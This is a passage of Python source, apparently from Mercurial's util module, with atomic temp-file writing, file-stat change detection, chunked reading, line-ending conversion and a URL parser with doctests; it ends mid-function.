1927 1927 can use emptyok=True as an optimization.
1928 1928
1929 1929 Returns the name of the temporary file.
1930 1930 """
1931 1931 d, fn = os.path.split(name)
1932 1932 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1933 1933 os.close(fd)
1934 1934 # Temporary files are created with mode 0600, which is usually not
1935 1935 # what we want. If the original file already exists, just copy
1936 1936 # its mode. Otherwise, manually obey umask.
1937 1937 copymode(name, temp, createmode)
1938 1938 if emptyok:
1939 1939 return temp
1940 1940 try:
1941 1941 try:
1942 1942 ifp = posixfile(name, "rb")
1943 1943 except IOError as inst:
1944 1944 if inst.errno == errno.ENOENT:
1945 1945 return temp
1946 1946 if not getattr(inst, 'filename', None):
1947 1947 inst.filename = name
1948 1948 raise
1949 1949 ofp = posixfile(temp, "wb")
1950 1950 for chunk in filechunkiter(ifp):
1951 1951 ofp.write(chunk)
1952 1952 ifp.close()
1953 1953 ofp.close()
1954 1954 except: # re-raises
1955 1955 try:
1956 1956 os.unlink(temp)
1957 1957 except OSError:
1958 1958 pass
1959 1959 raise
1960 1960 return temp
1961 1961
1962 1962 class filestat(object):
1963 1963 """help to exactly detect change of a file
1964 1964
1965 1965 'stat' attribute is result of 'os.stat()' if specified 'path'
1966 1966 exists. Otherwise, it is None. This can avoid preparative
1967 1967 'exists()' examination on client side of this class.
1968 1968 """
1969 1969 def __init__(self, stat):
1970 1970 self.stat = stat
1971 1971
1972 1972 @classmethod
1973 1973 def frompath(cls, path):
1974 1974 try:
1975 1975 stat = os.stat(path)
1976 1976 except OSError as err:
1977 1977 if err.errno != errno.ENOENT:
1978 1978 raise
1979 1979 stat = None
1980 1980 return cls(stat)
1981 1981
1982 1982 @classmethod
1983 1983 def fromfp(cls, fp):
1984 1984 stat = os.fstat(fp.fileno())
1985 1985 return cls(stat)
1986 1986
1987 1987 __hash__ = object.__hash__
1988 1988
1989 1989 def __eq__(self, old):
1990 1990 try:
1991 1991 # if ambiguity between stat of new and old file is
1992 1992 # avoided, comparison of size, ctime and mtime is enough
1993 1993 # to exactly detect change of a file regardless of platform
1994 1994 return (self.stat.st_size == old.stat.st_size and
1995 1995 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1996 1996 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1997 1997 except AttributeError:
1998 1998 pass
1999 1999 try:
2000 2000 return self.stat is None and old.stat is None
2001 2001 except AttributeError:
2002 2002 return False
2003 2003
2004 2004 def isambig(self, old):
2005 2005 """Examine whether new (= self) stat is ambiguous against old one
2006 2006
2007 2007 "S[N]" below means stat of a file at N-th change:
2008 2008
2009 2009 - S[n-1].ctime < S[n].ctime: can detect change of a file
2010 2010 - S[n-1].ctime == S[n].ctime
2011 2011 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2012 2012 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2013 2013 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2014 2014 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2015 2015
2016 2016 Case (*2) above means that a file was changed twice or more at
2017 2017 same time in sec (= S[n-1].ctime), and comparison of timestamp
2018 2018 is ambiguous.
2019 2019
2020 2020 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2021 2021 timestamp is ambiguous".
2022 2022
2023 2023 But advancing mtime only in case (*2) doesn't work as
2024 2024 expected, because naturally advanced S[n].mtime in case (*1)
2025 2025 might be equal to manually advanced S[n-1 or earlier].mtime.
2026 2026
2027 2027 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2028 2028 treated as ambiguous regardless of mtime, to avoid overlooking
2029 2029 by confliction between such mtime.
2030 2030
2031 2031 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2032 2032 S[n].mtime", even if size of a file isn't changed.
2033 2033 """
2034 2034 try:
2035 2035 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2036 2036 except AttributeError:
2037 2037 return False
2038 2038
2039 2039 def avoidambig(self, path, old):
2040 2040 """Change file stat of specified path to avoid ambiguity
2041 2041
2042 2042 'old' should be previous filestat of 'path'.
2043 2043
2044 2044 This skips avoiding ambiguity, if a process doesn't have
2045 2045 appropriate privileges for 'path'. This returns False in this
2046 2046 case.
2047 2047
2048 2048 Otherwise, this returns True, as "ambiguity is avoided".
2049 2049 """
2050 2050 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2051 2051 try:
2052 2052 os.utime(path, (advanced, advanced))
2053 2053 except OSError as inst:
2054 2054 if inst.errno == errno.EPERM:
2055 2055 # utime() on the file created by another user causes EPERM,
2056 2056 # if a process doesn't have appropriate privileges
2057 2057 return False
2058 2058 raise
2059 2059 return True
2060 2060
2061 2061 def __ne__(self, other):
2062 2062 return not self == other
2063 2063
2064 2064 class atomictempfile(object):
2065 2065 '''writable file object that atomically updates a file
2066 2066
2067 2067 All writes will go to a temporary copy of the original file. Call
2068 2068 close() when you are done writing, and atomictempfile will rename
2069 2069 the temporary copy to the original name, making the changes
2070 2070 visible. If the object is destroyed without being closed, all your
2071 2071 writes are discarded.
2072 2072
2073 2073 checkambig argument of constructor is used with filestat, and is
2074 2074 useful only if target file is guarded by any lock (e.g. repo.lock
2075 2075 or repo.wlock).
2076 2076 '''
2077 2077 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2078 2078 self.__name = name # permanent name
2079 2079 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2080 2080 createmode=createmode)
2081 2081 self._fp = posixfile(self._tempname, mode)
2082 2082 self._checkambig = checkambig
2083 2083
2084 2084 # delegated methods
2085 2085 self.read = self._fp.read
2086 2086 self.write = self._fp.write
2087 2087 self.seek = self._fp.seek
2088 2088 self.tell = self._fp.tell
2089 2089 self.fileno = self._fp.fileno
2090 2090
2091 2091 def close(self):
2092 2092 if not self._fp.closed:
2093 2093 self._fp.close()
2094 2094 filename = localpath(self.__name)
2095 2095 oldstat = self._checkambig and filestat.frompath(filename)
2096 2096 if oldstat and oldstat.stat:
2097 2097 rename(self._tempname, filename)
2098 2098 newstat = filestat.frompath(filename)
2099 2099 if newstat.isambig(oldstat):
2100 2100 # stat of changed file is ambiguous to original one
2101 2101 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2102 2102 os.utime(filename, (advanced, advanced))
2103 2103 else:
2104 2104 rename(self._tempname, filename)
2105 2105
2106 2106 def discard(self):
2107 2107 if not self._fp.closed:
2108 2108 try:
2109 2109 os.unlink(self._tempname)
2110 2110 except OSError:
2111 2111 pass
2112 2112 self._fp.close()
2113 2113
2114 2114 def __del__(self):
2115 2115 if safehasattr(self, '_fp'): # constructor actually did something
2116 2116 self.discard()
2117 2117
2118 2118 def __enter__(self):
2119 2119 return self
2120 2120
2121 2121 def __exit__(self, exctype, excvalue, traceback):
2122 2122 if exctype is not None:
2123 2123 self.discard()
2124 2124 else:
2125 2125 self.close()
2126 2126
2127 2127 def unlinkpath(f, ignoremissing=False):
2128 2128 """unlink and remove the directory if it is empty"""
2129 2129 if ignoremissing:
2130 2130 tryunlink(f)
2131 2131 else:
2132 2132 unlink(f)
2133 2133 # try removing directories that might now be empty
2134 2134 try:
2135 2135 removedirs(os.path.dirname(f))
2136 2136 except OSError:
2137 2137 pass
2138 2138
2139 2139 def tryunlink(f):
2140 2140 """Attempt to remove a file, ignoring ENOENT errors."""
2141 2141 try:
2142 2142 unlink(f)
2143 2143 except OSError as e:
2144 2144 if e.errno != errno.ENOENT:
2145 2145 raise
2146 2146
2147 2147 def makedirs(name, mode=None, notindexed=False):
2148 2148 """recursive directory creation with parent mode inheritance
2149 2149
2150 2150 Newly created directories are marked as "not to be indexed by
2151 2151 the content indexing service", if ``notindexed`` is specified
2152 2152 for "write" mode access.
2153 2153 """
2154 2154 try:
2155 2155 makedir(name, notindexed)
2156 2156 except OSError as err:
2157 2157 if err.errno == errno.EEXIST:
2158 2158 return
2159 2159 if err.errno != errno.ENOENT or not name:
2160 2160 raise
2161 2161 parent = os.path.dirname(os.path.abspath(name))
2162 2162 if parent == name:
2163 2163 raise
2164 2164 makedirs(parent, mode, notindexed)
2165 2165 try:
2166 2166 makedir(name, notindexed)
2167 2167 except OSError as err:
2168 2168 # Catch EEXIST to handle races
2169 2169 if err.errno == errno.EEXIST:
2170 2170 return
2171 2171 raise
2172 2172 if mode is not None:
2173 2173 os.chmod(name, mode)
2174 2174
2175 2175 def readfile(path):
2176 2176 with open(path, 'rb') as fp:
2177 2177 return fp.read()
2178 2178
2179 2179 def writefile(path, text):
2180 2180 with open(path, 'wb') as fp:
2181 2181 fp.write(text)
2182 2182
2183 2183 def appendfile(path, text):
2184 2184 with open(path, 'ab') as fp:
2185 2185 fp.write(text)
2186 2186
2187 2187 class chunkbuffer(object):
2188 2188 """Allow arbitrary sized chunks of data to be efficiently read from an
2189 2189 iterator over chunks of arbitrary size."""
2190 2190
2191 2191 def __init__(self, in_iter):
2192 2192 """in_iter is the iterator that's iterating over the input chunks."""
2193 2193 def splitbig(chunks):
2194 2194 for chunk in chunks:
2195 2195 if len(chunk) > 2**20:
2196 2196 pos = 0
2197 2197 while pos < len(chunk):
2198 2198 end = pos + 2 ** 18
2199 2199 yield chunk[pos:end]
2200 2200 pos = end
2201 2201 else:
2202 2202 yield chunk
2203 2203 self.iter = splitbig(in_iter)
2204 2204 self._queue = collections.deque()
2205 2205 self._chunkoffset = 0
2206 2206
2207 2207 def read(self, l=None):
2208 2208 """Read L bytes of data from the iterator of chunks of data.
2209 2209 Returns less than L bytes if the iterator runs dry.
2210 2210
2211 2211 If size parameter is omitted, read everything"""
2212 2212 if l is None:
2213 2213 return ''.join(self.iter)
2214 2214
2215 2215 left = l
2216 2216 buf = []
2217 2217 queue = self._queue
2218 2218 while left > 0:
2219 2219 # refill the queue
2220 2220 if not queue:
2221 2221 target = 2**18
2222 2222 for chunk in self.iter:
2223 2223 queue.append(chunk)
2224 2224 target -= len(chunk)
2225 2225 if target <= 0:
2226 2226 break
2227 2227 if not queue:
2228 2228 break
2229 2229
2230 2230 # The easy way to do this would be to queue.popleft(), modify the
2231 2231 # chunk (if necessary), then queue.appendleft(). However, for cases
2232 2232 # where we read partial chunk content, this incurs 2 dequeue
2233 2233 # mutations and creates a new str for the remaining chunk in the
2234 2234 # queue. Our code below avoids this overhead.
2235 2235
2236 2236 chunk = queue[0]
2237 2237 chunkl = len(chunk)
2238 2238 offset = self._chunkoffset
2239 2239
2240 2240 # Use full chunk.
2241 2241 if offset == 0 and left >= chunkl:
2242 2242 left -= chunkl
2243 2243 queue.popleft()
2244 2244 buf.append(chunk)
2245 2245 # self._chunkoffset remains at 0.
2246 2246 continue
2247 2247
2248 2248 chunkremaining = chunkl - offset
2249 2249
2250 2250 # Use all of unconsumed part of chunk.
2251 2251 if left >= chunkremaining:
2252 2252 left -= chunkremaining
2253 2253 queue.popleft()
2254 2254 # offset == 0 is enabled by block above, so this won't merely
2255 2255 # copy via ``chunk[0:]``.
2256 2256 buf.append(chunk[offset:])
2257 2257 self._chunkoffset = 0
2258 2258
2259 2259 # Partial chunk needed.
2260 2260 else:
2261 2261 buf.append(chunk[offset:offset + left])
2262 2262 self._chunkoffset += left
2263 2263 left -= chunkremaining
2264 2264
2265 2265 return ''.join(buf)
2266 2266
2267 2267 def filechunkiter(f, size=131072, limit=None):
2268 2268 """Create a generator that produces the data in the file size
2269 2269 (default 131072) bytes at a time, up to optional limit (default is
2270 2270 to read all data). Chunks may be less than size bytes if the
2271 2271 chunk is the last chunk in the file, or the file is a socket or
2272 2272 some other type of file that sometimes reads less data than is
2273 2273 requested."""
2274 2274 assert size >= 0
2275 2275 assert limit is None or limit >= 0
2276 2276 while True:
2277 2277 if limit is None:
2278 2278 nbytes = size
2279 2279 else:
2280 2280 nbytes = min(limit, size)
2281 2281 s = nbytes and f.read(nbytes)
2282 2282 if not s:
2283 2283 break
2284 2284 if limit:
2285 2285 limit -= len(s)
2286 2286 yield s
2287 2287
2288 2288 class cappedreader(object):
2289 2289 """A file object proxy that allows reading up to N bytes.
2290 2290
2291 2291 Given a source file object, instances of this type allow reading up to
2292 2292 N bytes from that source file object. Attempts to read past the allowed
2293 2293 limit are treated as EOF.
2294 2294
2295 2295 It is assumed that I/O is not performed on the original file object
2296 2296 in addition to I/O that is performed by this instance. If there is,
2297 2297 state tracking will get out of sync and unexpected results will ensue.
2298 2298 """
2299 2299 def __init__(self, fh, limit):
2300 2300 """Allow reading up to <limit> bytes from <fh>."""
2301 2301 self._fh = fh
2302 2302 self._left = limit
2303 2303
2304 2304 def read(self, n=-1):
2305 2305 if not self._left:
2306 2306 return b''
2307 2307
2308 2308 if n < 0:
2309 2309 n = self._left
2310 2310
2311 2311 data = self._fh.read(min(n, self._left))
2312 2312 self._left -= len(data)
2313 2313 assert self._left >= 0
2314 2314
2315 2315 return data
2316 2316
2317 2317 def readinto(self, b):
2318 2318 res = self.read(len(b))
2319 2319 if res is None:
2320 2320 return None
2321 2321
2322 2322 b[0:len(res)] = res
2323 2323 return len(res)
2324 2324
2325 2325 def unitcountfn(*unittable):
2326 2326 '''return a function that renders a readable count of some quantity'''
2327 2327
2328 2328 def go(count):
2329 2329 for multiplier, divisor, format in unittable:
2330 2330 if abs(count) >= divisor * multiplier:
2331 2331 return format % (count / float(divisor))
2332 2332 return unittable[-1][2] % count
2333 2333
2334 2334 return go
2335 2335
2336 2336 def processlinerange(fromline, toline):
2337 2337 """Check that linerange <fromline>:<toline> makes sense and return a
2338 2338 0-based range.
2339 2339
2340 2340 >>> processlinerange(10, 20)
2341 2341 (9, 20)
2342 2342 >>> processlinerange(2, 1)
2343 2343 Traceback (most recent call last):
2344 2344 ...
2345 2345 ParseError: line range must be positive
2346 2346 >>> processlinerange(0, 5)
2347 2347 Traceback (most recent call last):
2348 2348 ...
2349 2349 ParseError: fromline must be strictly positive
2350 2350 """
2351 2351 if toline - fromline < 0:
2352 2352 raise error.ParseError(_("line range must be positive"))
2353 2353 if fromline < 1:
2354 2354 raise error.ParseError(_("fromline must be strictly positive"))
2355 2355 return fromline - 1, toline
2356 2356
2357 2357 bytecount = unitcountfn(
2358 2358 (100, 1 << 30, _('%.0f GB')),
2359 2359 (10, 1 << 30, _('%.1f GB')),
2360 2360 (1, 1 << 30, _('%.2f GB')),
2361 2361 (100, 1 << 20, _('%.0f MB')),
2362 2362 (10, 1 << 20, _('%.1f MB')),
2363 2363 (1, 1 << 20, _('%.2f MB')),
2364 2364 (100, 1 << 10, _('%.0f KB')),
2365 2365 (10, 1 << 10, _('%.1f KB')),
2366 2366 (1, 1 << 10, _('%.2f KB')),
2367 2367 (1, 1, _('%.0f bytes')),
2368 2368 )
2369 2369
2370 2370 class transformingwriter(object):
2371 2371 """Writable file wrapper to transform data by function"""
2372 2372
2373 2373 def __init__(self, fp, encode):
2374 2374 self._fp = fp
2375 2375 self._encode = encode
2376 2376
2377 2377 def close(self):
2378 2378 self._fp.close()
2379 2379
2380 2380 def flush(self):
2381 2381 self._fp.flush()
2382 2382
2383 2383 def write(self, data):
2384 2384 return self._fp.write(self._encode(data))
2385 2385
2386 2386 # Matches a single EOL which can either be a CRLF where repeated CR
2387 2387 # are removed or a LF. We do not care about old Macintosh files, so a
2388 2388 # stray CR is an error.
2389 2389 _eolre = remod.compile(br'\r*\n')
2390 2390
2391 2391 def tolf(s):
2392 2392 return _eolre.sub('\n', s)
2393 2393
2394 2394 def tocrlf(s):
2395 2395 return _eolre.sub('\r\n', s)
2396 2396
2397 2397 def _crlfwriter(fp):
2398 2398 return transformingwriter(fp, tocrlf)
2399 2399
2400 2400 if pycompat.oslinesep == '\r\n':
2401 2401 tonativeeol = tocrlf
2402 2402 fromnativeeol = tolf
2403 2403 nativeeolwriter = _crlfwriter
2404 2404 else:
2405 2405 tonativeeol = pycompat.identity
2406 2406 fromnativeeol = pycompat.identity
2407 2407 nativeeolwriter = pycompat.identity
2408 2408
2409 2409 if (pyplatform.python_implementation() == 'CPython' and
2410 2410 sys.version_info < (3, 0)):
2411 2411 # There is an issue in CPython that some IO methods do not handle EINTR
2412 2412 # correctly. The following table shows what CPython version (and functions)
2413 2413 # are affected (buggy: has the EINTR bug, okay: otherwise):
2414 2414 #
2415 2415 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2416 2416 # --------------------------------------------------
2417 2417 # fp.__iter__ | buggy | buggy | okay
2418 2418 # fp.read* | buggy | okay [1] | okay
2419 2419 #
2420 2420 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2421 2421 #
2422 2422 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2423 2423 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2424 2424 #
2425 2425 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2426 2426 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2427 2427 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2428 2428 # fp.__iter__ but not other fp.read* methods.
2429 2429 #
2430 2430 # On modern systems like Linux, the "read" syscall cannot be interrupted
2431 2431 # when reading "fast" files like on-disk files. So the EINTR issue only
2432 2432 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2433 2433 # files approximately as "fast" files and use the fast (unsafe) code path,
2434 2434 # to minimize the performance impact.
2435 2435 if sys.version_info >= (2, 7, 4):
2436 2436 # fp.readline deals with EINTR correctly, use it as a workaround.
2437 2437 def _safeiterfile(fp):
2438 2438 return iter(fp.readline, '')
2439 2439 else:
2440 2440 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2441 2441 # note: this may block longer than necessary because of bufsize.
2442 2442 def _safeiterfile(fp, bufsize=4096):
2443 2443 fd = fp.fileno()
2444 2444 line = ''
2445 2445 while True:
2446 2446 try:
2447 2447 buf = os.read(fd, bufsize)
2448 2448 except OSError as ex:
2449 2449 # os.read only raises EINTR before any data is read
2450 2450 if ex.errno == errno.EINTR:
2451 2451 continue
2452 2452 else:
2453 2453 raise
2454 2454 line += buf
2455 2455 if '\n' in buf:
2456 2456 splitted = line.splitlines(True)
2457 2457 line = ''
2458 2458 for l in splitted:
2459 2459 if l[-1] == '\n':
2460 2460 yield l
2461 2461 else:
2462 2462 line = l
2463 2463 if not buf:
2464 2464 break
2465 2465 if line:
2466 2466 yield line
2467 2467
2468 2468 def iterfile(fp):
2469 2469 fastpath = True
2470 2470 if type(fp) is file:
2471 2471 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2472 2472 if fastpath:
2473 2473 return fp
2474 2474 else:
2475 2475 return _safeiterfile(fp)
2476 2476 else:
2477 2477 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2478 2478 def iterfile(fp):
2479 2479 return fp
2480 2480
2481 2481 def iterlines(iterator):
2482 2482 for chunk in iterator:
2483 2483 for line in chunk.splitlines():
2484 2484 yield line
2485 2485
2486 2486 def expandpath(path):
2487 2487 return os.path.expanduser(os.path.expandvars(path))
2488 2488
2489 2489 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2490 2490 """Return the result of interpolating items in the mapping into string s.
2491 2491
2492 2492 prefix is a single character string, or a two character string with
2493 2493 a backslash as the first character if the prefix needs to be escaped in
2494 2494 a regular expression.
2495 2495
2496 2496 fn is an optional function that will be applied to the replacement text
2497 2497 just before replacement.
2498 2498
2499 2499 escape_prefix is an optional flag that allows using doubled prefix for
2500 2500 its escaping.
2501 2501 """
2502 2502 fn = fn or (lambda s: s)
2503 2503 patterns = '|'.join(mapping.keys())
2504 2504 if escape_prefix:
2505 2505 patterns += '|' + prefix
2506 2506 if len(prefix) > 1:
2507 2507 prefix_char = prefix[1:]
2508 2508 else:
2509 2509 prefix_char = prefix
2510 2510 mapping[prefix_char] = prefix_char
2511 2511 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2512 2512 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2513 2513
2514 2514 def getport(port):
2515 2515 """Return the port for a given network service.
2516 2516
2517 2517 If port is an integer, it's returned as is. If it's a string, it's
2518 2518 looked up using socket.getservbyname(). If there's no matching
2519 2519 service, error.Abort is raised.
2520 2520 """
2521 2521 try:
2522 2522 return int(port)
2523 2523 except ValueError:
2524 2524 pass
2525 2525
2526 2526 try:
2527 2527 return socket.getservbyname(pycompat.sysstr(port))
2528 2528 except socket.error:
2529 2529 raise error.Abort(_("no port number associated with service '%s'")
2530 2530 % port)
2531 2531
2532 2532 class url(object):
2533 2533 r"""Reliable URL parser.
2534 2534
2535 2535 This parses URLs and provides attributes for the following
2536 2536 components:
2537 2537
2538 2538 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2539 2539
2540 2540 Missing components are set to None. The only exception is
2541 2541 fragment, which is set to '' if present but empty.
2542 2542
2543 2543 If parsefragment is False, fragment is included in query. If
2544 2544 parsequery is False, query is included in path. If both are
2545 2545 False, both fragment and query are included in path.
2546 2546
2547 2547 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2548 2548
2549 2549 Note that for backward compatibility reasons, bundle URLs do not
2550 2550 take host names. That means 'bundle://../' has a path of '../'.
2551 2551
2552 2552 Examples:
2553 2553
2554 2554 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2555 2555 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2556 2556 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2557 2557 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2558 2558 >>> url(b'file:///home/joe/repo')
2559 2559 <url scheme: 'file', path: '/home/joe/repo'>
2560 2560 >>> url(b'file:///c:/temp/foo/')
2561 2561 <url scheme: 'file', path: 'c:/temp/foo/'>
2562 2562 >>> url(b'bundle:foo')
2563 2563 <url scheme: 'bundle', path: 'foo'>
2564 2564 >>> url(b'bundle://../foo')
2565 2565 <url scheme: 'bundle', path: '../foo'>
2566 2566 >>> url(br'c:\foo\bar')
2567 2567 <url path: 'c:\\foo\\bar'>
2568 2568 >>> url(br'\\blah\blah\blah')
2569 2569 <url path: '\\\\blah\\blah\\blah'>
2570 2570 >>> url(br'\\blah\blah\blah#baz')
2571 2571 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2572 2572 >>> url(br'file:///C:\users\me')
2573 2573 <url scheme: 'file', path: 'C:\\users\\me'>
2574 2574
2575 2575 Authentication credentials:
2576 2576
2577 2577 >>> url(b'ssh://joe:xyz@x/repo')
2578 2578 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2579 2579 >>> url(b'ssh://joe@x/repo')
2580 2580 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2581 2581
2582 2582 Query strings and fragments:
2583 2583
2584 2584 >>> url(b'http://host/a?b#c')
2585 2585 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2586 2586 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2587 2587 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2588 2588
2589 2589 Empty path:
2590 2590
2591 2591 >>> url(b'')
2592 2592 <url path: ''>
2593 2593 >>> url(b'#a')
2594 2594 <url path: '', fragment: 'a'>
2595 2595 >>> url(b'http://host/')
2596 2596 <url scheme: 'http', host: 'host', path: ''>
2597 2597 >>> url(b'http://host/#a')
2598 2598 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2599 2599
2600 2600 Only scheme:
2601 2601
2602 2602 >>> url(b'http:')
2603 2603 <url scheme: 'http'>
2604 2604 """
2605 2605
2606 2606 _safechars = "!~*'()+"
2607 2607 _safepchars = "/!~*'()+:\\"
2608 2608 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2609 2609
2610 2610 def __init__(self, path, parsequery=True, parsefragment=True):
2611 2611 # We slowly chomp away at path until we have only the path left
2612 2612 self.scheme = self.user = self.passwd = self.host = None
2613 2613 self.port = self.path = self.query = self.fragment = None
2614 2614 self._localpath = True
2615 2615 self._hostport = ''
2616 2616 self._origpath = path
2617 2617
2618 2618 if parsefragment and '#' in path:
2619 2619 path, self.fragment = path.split('#', 1)
2620 2620
2621 2621 # special case for Windows drive letters and UNC paths
2622 2622 if hasdriveletter(path) or path.startswith('\\\\'):
2623 2623 self.path = path
2624 2624 return
2625 2625
2626 2626 # For compatibility reasons, we can't handle bundle paths as
2627 2627 # normal URLS
2628 2628 if path.startswith('bundle:'):
2629 2629 self.scheme = 'bundle'
2630 2630 path = path[7:]
2631 2631 if path.startswith('//'):
2632 2632 path = path[2:]
2633 2633 self.path = path
2634 2634 return
2635 2635
2636 2636 if self._matchscheme(path):
2637 2637 parts = path.split(':', 1)
2638 2638 if parts[0]:
2639 2639 self.scheme, path = parts
2640 2640 self._localpath = False
2641 2641
2642 2642 if not path:
2643 2643 path = None
2644 2644 if self._localpath:
2645 2645 self.path = ''
2646 2646 return
2647 2647 else:
2648 2648 if self._localpath:
2649 2649 self.path = path
2650 2650 return
2651 2651
2652 2652 if parsequery and '?' in path:
2653 2653 path, self.query = path.split('?', 1)
2654 2654 if not path:
2655 2655 path = None
2656 2656 if not self.query:
2657 2657 self.query = None
2658 2658
2659 2659 # // is required to specify a host/authority
2660 2660 if path and path.startswith('//'):
2661 2661 parts = path[2:].split('/', 1)
2662 2662 if len(parts) > 1:
2663 2663 self.host, path = parts
2664 2664 else:
2665 2665 self.host = parts[0]
2666 2666 path = None
2667 2667 if not self.host:
2668 2668 self.host = None
2669 2669 # path of file:///d is /d
2670 2670 # path of file:///d:/ is d:/, not /d:/
2671 2671 if path and not hasdriveletter(path):
2672 2672 path = '/' + path
2673 2673
2674 2674 if self.host and '@' in self.host:
2675 2675 self.user, self.host = self.host.rsplit('@', 1)
2676 2676 if ':' in self.user:
2677 2677 self.user, self.passwd = self.user.split(':', 1)
2678 2678 if not self.host:
2679 2679 self.host = None
2680 2680
2681 2681 # Don't split on colons in IPv6 addresses without ports
2682 2682 if (self.host and ':' in self.host and
2683 2683 not (self.host.startswith('[') and self.host.endswith(']'))):
2684 2684 self._hostport = self.host
2685 2685 self.host, self.port = self.host.rsplit(':', 1)
2686 2686 if not self.host:
2687 2687 self.host = None
2688 2688
2689 2689 if (self.host and self.scheme == 'file' and
2690 2690 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2691 2691 raise error.Abort(_('file:// URLs can only refer to localhost'))
2692 2692
2693 2693 self.path = path
2694 2694
2695 2695 # leave the query string escaped
2696 2696 for a in ('user', 'passwd', 'host', 'port',
2697 2697 'path', 'fragment'):
2698 2698 v = getattr(self, a)
2699 2699 if v is not None:
2700 2700 setattr(self, a, urlreq.unquote(v))
2701 2701
2702 2702 @encoding.strmethod
2703 2703 def __repr__(self):
2704 2704 attrs = []
2705 2705 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2706 2706 'query', 'fragment'):
2707 2707 v = getattr(self, a)
2708 2708 if v is not None:
2709 2709 attrs.append('%s: %r' % (a, v))
2710 2710 return '<url %s>' % ', '.join(attrs)
2711 2711
2712 2712 def __bytes__(self):
2713 2713 r"""Join the URL's components back into a URL string.
2714 2714
2715 2715 Examples:
2716 2716
2717 2717 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2718 2718 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2719 2719 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2720 2720 'http://user:pw@host:80/?foo=bar&baz=42'
2721 2721 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2722 2722 'http://user:pw@host:80/?foo=bar%3dbaz'
2723 2723 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2724 2724 'ssh://user:pw@[::1]:2200//home/joe#'
2725 2725 >>> bytes(url(b'http://localhost:80//'))
2726 2726 'http://localhost:80//'
2727 2727 >>> bytes(url(b'http://localhost:80/'))
2728 2728 'http://localhost:80/'
2729 2729 >>> bytes(url(b'http://localhost:80'))
2730 2730 'http://localhost:80/'
2731 2731 >>> bytes(url(b'bundle:foo'))
2732 2732 'bundle:foo'
2733 2733 >>> bytes(url(b'bundle://../foo'))
2734 2734 'bundle:../foo'
2735 2735 >>> bytes(url(b'path'))
2736 2736 'path'
2737 2737 >>> bytes(url(b'file:///tmp/foo/bar'))
2738 2738 'file:///tmp/foo/bar'
2739 2739 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2740 2740 'file:///c:/tmp/foo/bar'
2741 2741 >>> print(url(br'bundle:foo\bar'))
2742 2742 bundle:foo\bar
2743 2743 >>> print(url(br'file:///D:\data\hg'))
2744 2744 file:///D:\data\hg
2745 2745 """
2746 2746 if self._localpath:
2747 2747 s = self.path
2748 2748 if self.scheme == 'bundle':
2749 2749 s = 'bundle:' + s
2750 2750 if self.fragment:
2751 2751 s += '#' + self.fragment
2752 2752 return s
2753 2753
2754 2754 s = self.scheme + ':'
2755 2755 if self.user or self.passwd or self.host:
2756 2756 s += '//'
2757 2757 elif self.scheme and (not self.path or self.path.startswith('/')
2758 2758 or hasdriveletter(self.path)):
2759 2759 s += '//'
2760 2760 if hasdriveletter(self.path):
2761 2761 s += '/'
2762 2762 if self.user:
2763 2763 s += urlreq.quote(self.user, safe=self._safechars)
2764 2764 if self.passwd:
2765 2765 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2766 2766 if self.user or self.passwd:
2767 2767 s += '@'
2768 2768 if self.host:
2769 2769 if not (self.host.startswith('[') and self.host.endswith(']')):
2770 2770 s += urlreq.quote(self.host)
2771 2771 else:
2772 2772 s += self.host
2773 2773 if self.port:
